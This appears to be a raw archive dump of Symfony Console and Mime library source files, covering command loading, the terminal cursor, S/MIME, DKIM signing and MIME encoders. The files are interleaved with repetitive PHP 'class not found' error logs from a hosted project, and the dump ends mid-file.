/home/fluxyjvi/public_html/project/vendor/symfony/console/CommandLoader/ContainerCommandLoader.php on line 23 [25-Nov-2025 05:27:23 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\CommandLoader\CommandLoaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/CommandLoader/FactoryCommandLoader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/CommandLoader/FactoryCommandLoader.php on line 22 [26-Nov-2025 01:30:38 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\CommandLoader\CommandLoaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/CommandLoader/ContainerCommandLoader.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/CommandLoader/ContainerCommandLoader.php on line 23 [26-Nov-2025 01:54:15 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\CommandLoader\CommandLoaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/CommandLoader/FactoryCommandLoader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/CommandLoader/FactoryCommandLoader.php on line 22 console/CommandLoader/FactoryCommandLoader.php000064400000002441151113512040015453 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\CommandLoader; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Exception\CommandNotFoundException; /** * A simple command loader using factories to instantiate commands lazily. * * @author Maxime Steinhausser */ class FactoryCommandLoader implements CommandLoaderInterface { private array $factories; /** * @param callable[] $factories Indexed by command names */ public function __construct(array $factories) { $this->factories = $factories; } public function has(string $name): bool { return isset($this->factories[$name]); } public function get(string $name): Command { if (!isset($this->factories[$name])) { throw new CommandNotFoundException(sprintf('Command "%s" does not exist.', $name)); } $factory = $this->factories[$name]; return $factory(); } public function getNames(): array { return array_keys($this->factories); } } console/Cursor.php000064400000007622151113512040010174 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console; use Symfony\Component\Console\Output\OutputInterface; /** * @author Pierre du Plessis */ final class Cursor { private OutputInterface $output; private $input; /** * @param resource|null $input */ public function __construct(OutputInterface $output, $input = null) { $this->output = $output; $this->input = $input ?? (\defined('STDIN') ? \STDIN : fopen('php://input', 'r+')); } /** * @return $this */ public function moveUp(int $lines = 1): static { $this->output->write(sprintf("\x1b[%dA", $lines)); return $this; } /** * @return $this */ public function moveDown(int $lines = 1): static { $this->output->write(sprintf("\x1b[%dB", $lines)); return $this; } /** * @return $this */ public function moveRight(int $columns = 1): static { $this->output->write(sprintf("\x1b[%dC", $columns)); return $this; } /** * @return $this */ public function moveLeft(int $columns = 1): static { $this->output->write(sprintf("\x1b[%dD", $columns)); return $this; } /** * @return $this */ public function moveToColumn(int $column): static { $this->output->write(sprintf("\x1b[%dG", $column)); return $this; } /** * @return $this */ public function moveToPosition(int $column, int $row): static { $this->output->write(sprintf("\x1b[%d;%dH", $row + 1, $column)); return $this; } /** * @return $this */ public function savePosition(): static { $this->output->write("\x1b7"); return $this; } /** * @return $this */ public function restorePosition(): static { $this->output->write("\x1b8"); return $this; } /** * @return $this */ public function hide(): static { $this->output->write("\x1b[?25l"); return $this; } /** * @return $this */ public function show(): static { $this->output->write("\x1b[?25h\x1b[?0c"); return $this; } /** * Clears all the output from the current line. * * @return $this */ public function clearLine(): static { $this->output->write("\x1b[2K"); return $this; } /** * Clears all the output from the current line after the current position. */ public function clearLineAfter(): self { $this->output->write("\x1b[K"); return $this; } /** * Clears all the output from the cursors' current position to the end of the screen. * * @return $this */ public function clearOutput(): static { $this->output->write("\x1b[0J"); return $this; } /** * Clears the entire screen. * * @return $this */ public function clearScreen(): static { $this->output->write("\x1b[2J"); return $this; } /** * Returns the current cursor position as x,y coordinates. */ public function getCurrentPosition(): array { static $isTtySupported; if (!$isTtySupported ??= '/' === \DIRECTORY_SEPARATOR && stream_isatty(\STDOUT)) { return [1, 1]; } $sttyMode = shell_exec('stty -g'); shell_exec('stty -icanon -echo'); @fwrite($this->input, "\033[6n"); $code = trim(fread($this->input, 1024)); shell_exec(sprintf('stty %s', $sttyMode)); sscanf($code, "\033[%d;%dR", $row, $col); return [$col, $row]; } } mime/MimeTypesInterface.php000064400000001411151113512040011727 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime; /** * @author Fabien Potencier */ interface MimeTypesInterface extends MimeTypeGuesserInterface { /** * Gets the extensions for the given MIME type in decreasing order of preference. * * @return string[] */ public function getExtensions(string $mimeType): array; /** * Gets the MIME types for the given extension in decreasing order of preference. * * @return string[] */ public function getMimeTypes(string $ext): array; } mime/Crypto/SMimeEncrypter.php000064400000004277151113512040012375 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Crypto; use Symfony\Component\Mime\Exception\RuntimeException; use Symfony\Component\Mime\Message; /** * @author Sebastiaan Stok */ final class SMimeEncrypter extends SMime { private string|array $certs; private int $cipher; /** * @param string|string[] $certificate The path (or array of paths) of the file(s) containing the X.509 certificate(s) * @param int|null $cipher A set of algorithms used to encrypt the message. Must be one of these PHP constants: https://www.php.net/manual/en/openssl.ciphers.php */ public function __construct(string|array $certificate, int $cipher = null) { if (!\extension_loaded('openssl')) { throw new \LogicException('PHP extension "openssl" is required to use SMime.'); } if (\is_array($certificate)) { $this->certs = array_map($this->normalizeFilePath(...), $certificate); } else { $this->certs = $this->normalizeFilePath($certificate); } $this->cipher = $cipher ?? \OPENSSL_CIPHER_AES_256_CBC; } public function encrypt(Message $message): Message { $bufferFile = tmpfile(); $outputFile = tmpfile(); $this->iteratorToFile($message->toIterable(), $bufferFile); if (!@openssl_pkcs7_encrypt(stream_get_meta_data($bufferFile)['uri'], stream_get_meta_data($outputFile)['uri'], $this->certs, [], 0, $this->cipher)) { throw new RuntimeException(sprintf('Failed to encrypt S/Mime message. Error: "%s".', openssl_error_string())); } $mimePart = $this->convertMessageToSMimePart($outputFile, 'application', 'pkcs7-mime'); $mimePart->getHeaders() ->addTextHeader('Content-Transfer-Encoding', 'base64') ->addParameterizedHeader('Content-Disposition', 'attachment', ['name' => 'smime.p7m']) ; return new Message($message->getHeaders(), $mimePart); } } mime/Crypto/SMime.php000064400000006277151113512050010504 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Crypto; use Symfony\Component\Mime\Exception\RuntimeException; use Symfony\Component\Mime\Part\SMimePart; /** * @author Sebastiaan Stok * * @internal */ abstract class SMime { protected function normalizeFilePath(string $path): string { if (!file_exists($path)) { throw new RuntimeException(sprintf('File does not exist: "%s".', $path)); } return 'file://'.str_replace('\\', '/', realpath($path)); } protected function iteratorToFile(iterable $iterator, $stream): void { foreach ($iterator as $chunk) { fwrite($stream, $chunk); } } protected function convertMessageToSMimePart($stream, string $type, string $subtype): SMimePart { rewind($stream); $headers = ''; while (!feof($stream)) { $buffer = fread($stream, 78); $headers .= $buffer; // Detect ending of header list if (preg_match('/(\r\n\r\n|\n\n)/', $headers, $match)) { $headersPosEnd = strpos($headers, $headerBodySeparator = $match[0]); break; } } $headers = $this->getMessageHeaders(trim(substr($headers, 0, $headersPosEnd))); fseek($stream, $headersPosEnd + \strlen($headerBodySeparator)); return new SMimePart($this->getStreamIterator($stream), $type, $subtype, $this->getParametersFromHeader($headers['content-type'])); } protected function getStreamIterator($stream): iterable { while (!feof($stream)) { yield str_replace("\n", "\r\n", str_replace("\r\n", "\n", fread($stream, 16372))); } } private function getMessageHeaders(string $headerData): array { $headers = []; $headerLines = explode("\r\n", str_replace("\n", "\r\n", str_replace("\r\n", "\n", $headerData))); $currentHeaderName = ''; // Transform header lines into an associative array foreach ($headerLines as $headerLine) { // Empty lines between headers indicate a new mime-entity if ('' === $headerLine) { break; } // Handle headers that span multiple lines if (!str_contains($headerLine, ':')) { $headers[$currentHeaderName] .= ' '.trim($headerLine); continue; } $header = explode(':', $headerLine, 2); $currentHeaderName = strtolower($header[0]); $headers[$currentHeaderName] = trim($header[1]); } return $headers; } private function getParametersFromHeader(string $header): array { $params = []; preg_match_all('/(?P[a-z-0-9]+)=(?P"[^"]+"|(?:[^\s;]+|$))(?:\s+;)?/i', $header, $matches); foreach ($matches['value'] as $pos => $paramValue) { $params[$matches['name'][$pos]] = trim($paramValue, '"'); } return $params; } } mime/Crypto/DkimOptions.php000064400000003430151113512050011716 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Crypto; /** * A helper providing autocompletion for available DkimSigner options. * * @author Fabien Potencier */ final class DkimOptions { private array $options = []; public function toArray(): array { return $this->options; } /** * @return $this */ public function algorithm(string $algo): static { $this->options['algorithm'] = $algo; return $this; } /** * @return $this */ public function signatureExpirationDelay(int $show): static { $this->options['signature_expiration_delay'] = $show; return $this; } /** * @return $this */ public function bodyMaxLength(int $max): static { $this->options['body_max_length'] = $max; return $this; } /** * @return $this */ public function bodyShowLength(bool $show): static { $this->options['body_show_length'] = $show; return $this; } /** * @return $this */ public function headerCanon(string $canon): static { $this->options['header_canon'] = $canon; return $this; } /** * @return $this */ public function bodyCanon(string $canon): static { $this->options['body_canon'] = $canon; return $this; } /** * @return $this */ public function headersToIgnore(array $headers): static { $this->options['headers_to_ignore'] = $headers; return $this; } } mime/Crypto/error_log000064400000012110151113512050010655 0ustar00[20-Nov-2025 05:54:52 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Crypto\SMime" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php on line 20 [20-Nov-2025 07:09:43 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Crypto\SMime" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php on line 20 [20-Nov-2025 07:32:43 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Crypto\SMime" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php on line 20 [20-Nov-2025 09:53:11 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Crypto\SMime" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php on line 20 [20-Nov-2025 10:46:05 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Crypto\SMime" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php on line 20 [20-Nov-2025 11:44:50 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Crypto\SMime" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php on line 20 [20-Nov-2025 12:09:08 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Crypto\SMime" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php on line 20 [20-Nov-2025 12:41:56 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Crypto\SMime" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeEncrypter.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeEncrypter.php on line 20 [20-Nov-2025 14:21:01 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Crypto\SMime" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php on line 20 [20-Nov-2025 14:46:42 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Crypto\SMime" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php on line 20 [20-Nov-2025 15:24:43 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Crypto\SMime" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php on line 20 [20-Nov-2025 15:50:34 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Crypto\SMime" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeEncrypter.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeEncrypter.php on line 20 [25-Nov-2025 03:24:26 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Crypto\SMime" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeEncrypter.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeEncrypter.php on line 20 [25-Nov-2025 06:30:22 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Crypto\SMime" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php on line 20 [26-Nov-2025 01:21:23 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Crypto\SMime" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeSigner.php on line 20 [26-Nov-2025 01:55:25 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Crypto\SMime" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeEncrypter.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Crypto/SMimeEncrypter.php on line 20 mime/Crypto/DkimSigner.php000064400000017725151113512050011526 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Crypto; use Symfony\Component\Mime\Exception\InvalidArgumentException; use Symfony\Component\Mime\Exception\RuntimeException; use Symfony\Component\Mime\Header\UnstructuredHeader; use Symfony\Component\Mime\Message; use Symfony\Component\Mime\Part\AbstractPart; /** * @author Fabien Potencier * * RFC 6376 and 8301 */ final class DkimSigner { public const CANON_SIMPLE = 'simple'; public const CANON_RELAXED = 'relaxed'; public const ALGO_SHA256 = 'rsa-sha256'; public const ALGO_ED25519 = 'ed25519-sha256'; // RFC 8463 private \OpenSSLAsymmetricKey $key; private string $domainName; private string $selector; private array $defaultOptions; /** * @param string $pk The private key as a string or the path to the file containing the private key, should be prefixed with file:// (in PEM format) * @param string $passphrase A passphrase of the private key (if any) */ public function __construct(string $pk, string $domainName, string $selector, array $defaultOptions = [], string $passphrase = '') { if (!\extension_loaded('openssl')) { throw new \LogicException('PHP extension "openssl" is required to use DKIM.'); } $this->key = openssl_pkey_get_private($pk, $passphrase) ?: throw new InvalidArgumentException('Unable to load DKIM private key: '.openssl_error_string()); $this->domainName = $domainName; $this->selector = $selector; $this->defaultOptions = $defaultOptions + [ 'algorithm' => self::ALGO_SHA256, 'signature_expiration_delay' => 0, 'body_max_length' => \PHP_INT_MAX, 'body_show_length' => false, 'header_canon' => self::CANON_RELAXED, 'body_canon' => self::CANON_RELAXED, 'headers_to_ignore' => [], ]; } public function sign(Message $message, array $options = []): Message { $options += $this->defaultOptions; if (!\in_array($options['algorithm'], [self::ALGO_SHA256, self::ALGO_ED25519], true)) { throw new InvalidArgumentException(sprintf('Invalid DKIM signing algorithm "%s".', $options['algorithm'])); } $headersToIgnore['return-path'] = true; $headersToIgnore['x-transport'] = true; foreach ($options['headers_to_ignore'] as $name) { $headersToIgnore[strtolower($name)] = true; } unset($headersToIgnore['from']); $signedHeaderNames = []; $headerCanonData = ''; $headers = $message->getPreparedHeaders(); foreach ($headers->getNames() as $name) { foreach ($headers->all($name) as $header) { if (isset($headersToIgnore[strtolower($header->getName())])) { continue; } if ('' !== $header->getBodyAsString()) { $headerCanonData .= $this->canonicalizeHeader($header->toString(), $options['header_canon']); $signedHeaderNames[] = $header->getName(); } } } [$bodyHash, $bodyLength] = $this->hashBody($message->getBody(), $options['body_canon'], $options['body_max_length']); $params = [ 'v' => '1', 'q' => 'dns/txt', 'a' => $options['algorithm'], 'bh' => base64_encode($bodyHash), 'd' => $this->domainName, 'h' => implode(': ', $signedHeaderNames), 'i' => '@'.$this->domainName, 's' => $this->selector, 't' => time(), 'c' => $options['header_canon'].'/'.$options['body_canon'], ]; if ($options['body_show_length']) { $params['l'] = $bodyLength; } if ($options['signature_expiration_delay']) { $params['x'] = $params['t'] + $options['signature_expiration_delay']; } $value = ''; foreach ($params as $k => $v) { $value .= $k.'='.$v.'; '; } $value = trim($value); $header = new UnstructuredHeader('DKIM-Signature', $value); $headerCanonData .= rtrim($this->canonicalizeHeader($header->toString()."\r\n b=", $options['header_canon'])); if (self::ALGO_SHA256 === $options['algorithm']) { if (!openssl_sign($headerCanonData, $signature, $this->key, \OPENSSL_ALGO_SHA256)) { throw new RuntimeException('Unable to sign DKIM hash: '.openssl_error_string()); } } else { throw new \RuntimeException(sprintf('The "%s" DKIM signing algorithm is not supported yet.', self::ALGO_ED25519)); } $header->setValue($value.' b='.trim(chunk_split(base64_encode($signature), 73, ' '))); $headers->add($header); return new Message($headers, $message->getBody()); } private function canonicalizeHeader(string $header, string $headerCanon): string { if (self::CANON_RELAXED !== $headerCanon) { return $header."\r\n"; } $exploded = explode(':', $header, 2); $name = strtolower(trim($exploded[0])); $value = str_replace("\r\n", '', $exploded[1]); $value = trim(preg_replace("/[ \t][ \t]+/", ' ', $value)); return $name.':'.$value."\r\n"; } private function hashBody(AbstractPart $body, string $bodyCanon, int $maxLength): array { $hash = hash_init('sha256'); $relaxed = self::CANON_RELAXED === $bodyCanon; $currentLine = ''; $emptyCounter = 0; $isSpaceSequence = false; $length = 0; foreach ($body->bodyToIterable() as $chunk) { $canon = ''; for ($i = 0, $len = \strlen($chunk); $i < $len; ++$i) { switch ($chunk[$i]) { case "\r": break; case "\n": // previous char is always \r if ($relaxed) { $isSpaceSequence = false; } if ('' === $currentLine) { ++$emptyCounter; } else { $currentLine = ''; $canon .= "\r\n"; } break; case ' ': case "\t": if ($relaxed) { $isSpaceSequence = true; break; } // no break default: if ($emptyCounter > 0) { $canon .= str_repeat("\r\n", $emptyCounter); $emptyCounter = 0; } if ($isSpaceSequence) { $currentLine .= ' '; $canon .= ' '; $isSpaceSequence = false; } $currentLine .= $chunk[$i]; $canon .= $chunk[$i]; } } if ($length + \strlen($canon) >= $maxLength) { $canon = substr($canon, 0, $maxLength - $length); $length += \strlen($canon); hash_update($hash, $canon); break; } $length += \strlen($canon); hash_update($hash, $canon); } // Add trailing Line return if last line is non empty if ('' !== $currentLine) { hash_update($hash, "\r\n"); $length += \strlen("\r\n"); } if (!$relaxed && 0 === $length) { hash_update($hash, "\r\n"); $length = 2; } return [hash_final($hash, true), $length]; } } mime/Crypto/SMimeSigner.php000064400000005247151113512050011650 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Crypto; use Symfony\Component\Mime\Exception\RuntimeException; use Symfony\Component\Mime\Message; /** * @author Sebastiaan Stok */ final class SMimeSigner extends SMime { private string $signCertificate; private string|array $signPrivateKey; private int $signOptions; private ?string $extraCerts; /** * @param string $certificate The path of the file containing the signing certificate (in PEM format) * @param string $privateKey The path of the file containing the private key (in PEM format) * @param string|null $privateKeyPassphrase A passphrase of the private key (if any) * @param string|null $extraCerts The path of the file containing intermediate certificates (in PEM format) needed by the signing certificate * @param int|null $signOptions Bitwise operator options for openssl_pkcs7_sign() (@see https://secure.php.net/manual/en/openssl.pkcs7.flags.php) */ public function __construct(string $certificate, string $privateKey, string $privateKeyPassphrase = null, string $extraCerts = null, int $signOptions = null) { if (!\extension_loaded('openssl')) { throw new \LogicException('PHP extension "openssl" is required to use SMime.'); } $this->signCertificate = $this->normalizeFilePath($certificate); if (null !== $privateKeyPassphrase) { $this->signPrivateKey = [$this->normalizeFilePath($privateKey), $privateKeyPassphrase]; } else { $this->signPrivateKey = $this->normalizeFilePath($privateKey); } $this->signOptions = $signOptions ?? \PKCS7_DETACHED; $this->extraCerts = $extraCerts ? realpath($extraCerts) : null; } public function sign(Message $message): Message { $bufferFile = tmpfile(); $outputFile = tmpfile(); $this->iteratorToFile($message->getBody()->toIterable(), $bufferFile); if (!@openssl_pkcs7_sign(stream_get_meta_data($bufferFile)['uri'], stream_get_meta_data($outputFile)['uri'], $this->signCertificate, $this->signPrivateKey, [], $this->signOptions, $this->extraCerts)) { throw new RuntimeException(sprintf('Failed to sign S/Mime message. Error: "%s".', openssl_error_string())); } return new Message($message->getHeaders(), $this->convertMessageToSMimePart($outputFile, 'multipart', 'signed')); } } mime/Encoder/EightBitContentEncoder.php000064400000001502151113512050014105 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Encoder; /** * @author Fabien Potencier */ final class EightBitContentEncoder implements ContentEncoderInterface { public function encodeByteStream($stream, int $maxLineLength = 0): iterable { while (!feof($stream)) { yield fread($stream, 16372); } } public function getName(): string { return '8bit'; } public function encodeString(string $string, ?string $charset = 'utf-8', int $firstLineOffset = 0, int $maxLineLength = 0): string { return $string; } } mime/Encoder/Rfc2231Encoder.php000064400000002631151113512050012101 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Encoder; use Symfony\Component\Mime\CharacterStream; /** * @author Chris Corbyn */ final class Rfc2231Encoder implements EncoderInterface { /** * Takes an unencoded string and produces a string encoded according to RFC 2231 from it. */ public function encodeString(string $string, ?string $charset = 'utf-8', int $firstLineOffset = 0, int $maxLineLength = 0): string { $lines = []; $lineCount = 0; $lines[] = ''; $currentLine = &$lines[$lineCount++]; if (0 >= $maxLineLength) { $maxLineLength = 75; } $charStream = new CharacterStream($string, $charset); $thisLineLength = $maxLineLength - $firstLineOffset; while (null !== $char = $charStream->read(4)) { $encodedChar = rawurlencode($char); if ('' !== $currentLine && \strlen($currentLine.$encodedChar) > $thisLineLength) { $lines[] = ''; $currentLine = &$lines[$lineCount++]; $thisLineLength = $maxLineLength; } $currentLine .= $encodedChar; } return implode("\r\n", $lines); } } mime/Encoder/MimeHeaderEncoderInterface.php000064400000000723151113512060014701 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Encoder; /** * @author Chris Corbyn */ interface MimeHeaderEncoderInterface { /** * Get the MIME name of this content encoding scheme. */ public function getName(): string; } mime/Encoder/Base64MimeHeaderEncoder.php000064400000002407151113512060014026 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Encoder; /** * @author Chris Corbyn */ final class Base64MimeHeaderEncoder extends Base64Encoder implements MimeHeaderEncoderInterface { public function getName(): string { return 'B'; } /** * Takes an unencoded string and produces a Base64 encoded string from it. * * If the charset is iso-2022-jp, it uses mb_encode_mimeheader instead of * default encodeString, otherwise pass to the parent method. */ public function encodeString(string $string, ?string $charset = 'utf-8', int $firstLineOffset = 0, int $maxLineLength = 0): string { if ('iso-2022-jp' === strtolower($charset)) { $old = mb_internal_encoding(); mb_internal_encoding('utf-8'); $newstring = mb_encode_mimeheader($string, 'iso-2022-jp', $this->getName(), "\r\n"); mb_internal_encoding($old); return $newstring; } return parent::encodeString($string, $charset, $firstLineOffset, $maxLineLength); } } mime/Encoder/QpMimeHeaderEncoder.php000064400000002063151113512060013360 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Encoder; /** * @author Chris Corbyn */ final class QpMimeHeaderEncoder extends QpEncoder implements MimeHeaderEncoderInterface { protected function initSafeMap(): void { foreach (array_merge( range(0x61, 0x7A), range(0x41, 0x5A), range(0x30, 0x39), [0x20, 0x21, 0x2A, 0x2B, 0x2D, 0x2F] ) as $byte) { $this->safeMap[$byte] = \chr($byte); } } public function getName(): string { return 'Q'; } public function encodeString(string $string, ?string $charset = 'utf-8', int $firstLineOffset = 0, int $maxLineLength = 0): string { return str_replace([' ', '=20', "=\r\n"], ['_', '_', "\r\n"], parent::encodeString($string, $charset, $firstLineOffset, $maxLineLength) ); } } mime/Encoder/QpEncoder.php000064400000017255151113512060011450 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Encoder; use Symfony\Component\Mime\CharacterStream; /** * @author Chris Corbyn */ class QpEncoder implements EncoderInterface { /** * Pre-computed QP for HUGE optimization. */ private const QP_MAP = [ 0 => '=00', 1 => '=01', 2 => '=02', 3 => '=03', 4 => '=04', 5 => '=05', 6 => '=06', 7 => '=07', 8 => '=08', 9 => '=09', 10 => '=0A', 11 => '=0B', 12 => '=0C', 13 => '=0D', 14 => '=0E', 15 => '=0F', 16 => '=10', 17 => '=11', 18 => '=12', 19 => '=13', 20 => '=14', 21 => '=15', 22 => '=16', 23 => '=17', 24 => '=18', 25 => '=19', 26 => '=1A', 27 => '=1B', 28 => '=1C', 29 => '=1D', 30 => '=1E', 31 => '=1F', 32 => '=20', 33 => '=21', 34 => '=22', 35 => '=23', 36 => '=24', 37 => '=25', 38 => '=26', 39 => '=27', 40 => '=28', 41 => '=29', 42 => '=2A', 43 => '=2B', 44 => '=2C', 45 => '=2D', 46 => '=2E', 47 => '=2F', 48 => '=30', 49 => '=31', 50 => '=32', 51 => '=33', 52 => '=34', 53 => '=35', 54 => '=36', 55 => '=37', 56 => '=38', 57 => '=39', 58 => '=3A', 59 => '=3B', 60 => '=3C', 61 => '=3D', 62 => '=3E', 63 => '=3F', 64 => '=40', 65 => '=41', 66 => '=42', 67 => '=43', 68 => '=44', 69 => '=45', 70 => '=46', 71 => '=47', 72 => '=48', 73 => '=49', 74 => '=4A', 75 => '=4B', 76 => '=4C', 77 => '=4D', 78 => '=4E', 79 => '=4F', 80 => '=50', 81 => '=51', 82 => '=52', 83 => '=53', 84 => '=54', 85 => '=55', 86 => '=56', 87 => '=57', 88 => '=58', 89 => '=59', 90 => '=5A', 91 => '=5B', 92 => '=5C', 93 => '=5D', 94 => '=5E', 95 => '=5F', 96 => '=60', 97 => '=61', 98 => '=62', 99 => '=63', 100 => '=64', 101 => '=65', 102 => '=66', 103 => '=67', 104 => '=68', 105 => '=69', 106 => '=6A', 107 => '=6B', 108 => '=6C', 109 => '=6D', 110 => '=6E', 111 => '=6F', 112 => '=70', 113 => '=71', 114 => '=72', 115 => '=73', 116 => '=74', 117 => '=75', 118 => '=76', 119 => '=77', 120 => '=78', 121 => '=79', 122 => '=7A', 123 => '=7B', 124 => '=7C', 125 => '=7D', 126 => '=7E', 127 => '=7F', 128 => '=80', 129 => '=81', 130 => '=82', 131 => '=83', 132 => '=84', 133 => '=85', 134 => '=86', 135 => '=87', 136 => '=88', 137 => '=89', 138 => '=8A', 139 => '=8B', 140 => '=8C', 141 => '=8D', 142 => '=8E', 143 => '=8F', 144 => '=90', 145 => '=91', 146 => '=92', 147 => '=93', 148 => '=94', 149 => '=95', 150 => '=96', 151 => '=97', 152 => '=98', 153 => '=99', 154 => '=9A', 155 => '=9B', 156 => '=9C', 157 => '=9D', 158 => '=9E', 159 => '=9F', 160 => '=A0', 161 => '=A1', 162 => '=A2', 163 => '=A3', 164 => '=A4', 165 => '=A5', 166 => '=A6', 167 => '=A7', 168 => '=A8', 169 => '=A9', 170 => '=AA', 171 => '=AB', 172 => '=AC', 173 => '=AD', 174 => '=AE', 175 => '=AF', 176 => '=B0', 177 => '=B1', 178 => '=B2', 179 => '=B3', 180 => '=B4', 181 => '=B5', 182 => '=B6', 183 => '=B7', 184 => '=B8', 185 => '=B9', 186 => '=BA', 187 => '=BB', 188 => '=BC', 189 => '=BD', 190 => '=BE', 191 => '=BF', 192 => '=C0', 193 => '=C1', 194 => '=C2', 195 => '=C3', 196 => '=C4', 197 => '=C5', 198 => '=C6', 199 => '=C7', 200 => '=C8', 201 => '=C9', 202 => '=CA', 203 => '=CB', 204 => '=CC', 205 => '=CD', 206 => '=CE', 207 => '=CF', 208 => '=D0', 209 => '=D1', 210 => '=D2', 211 => '=D3', 212 => '=D4', 213 => '=D5', 214 => '=D6', 215 => '=D7', 216 => '=D8', 217 => '=D9', 218 => '=DA', 219 => '=DB', 220 => '=DC', 221 